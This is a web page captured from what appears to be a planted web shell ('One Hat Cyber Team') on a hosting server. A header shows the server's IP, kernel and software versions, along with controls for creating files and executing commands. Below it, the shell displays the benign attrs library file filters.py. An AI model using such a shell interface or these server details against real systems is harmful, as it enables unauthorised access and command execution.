⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.8
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
thread-self
/
root
/
var
/
opt
/
nydus
/
ops
/
attr
/
View File Name :
filters.py
# SPDX-License-Identifier: MIT """ Commonly useful filters for `attrs.asdict` and `attrs.astuple`. """ from ._make import Attribute def _split_what(what): """ Returns a tuple of `frozenset`s of classes and attributes. """ return ( frozenset(cls for cls in what if isinstance(cls, type)), frozenset(cls for cls in what if isinstance(cls, str)), frozenset(cls for cls in what if isinstance(cls, Attribute)), ) def include(*what): """ Create a filter that only allows *what*. Args: what (list[type, str, attrs.Attribute]): What to include. Can be a type, a name, or an attribute. Returns: Callable: A callable that can be passed to `attrs.asdict`'s and `attrs.astuple`'s *filter* argument. .. versionchanged:: 23.1.0 Accept strings with field names. """ cls, names, attrs = _split_what(what) def include_(attribute, value): return ( value.__class__ in cls or attribute.name in names or attribute in attrs ) return include_ def exclude(*what): """ Create a filter that does **not** allow *what*. Args: what (list[type, str, attrs.Attribute]): What to exclude. Can be a type, a name, or an attribute. Returns: Callable: A callable that can be passed to `attrs.asdict`'s and `attrs.astuple`'s *filter* argument. .. versionchanged:: 23.3.0 Accept field name string as input argument """ cls, names, attrs = _split_what(what) def exclude_(attribute, value): return not ( value.__class__ in cls or attribute.name in names or attribute in attrs ) return exclude_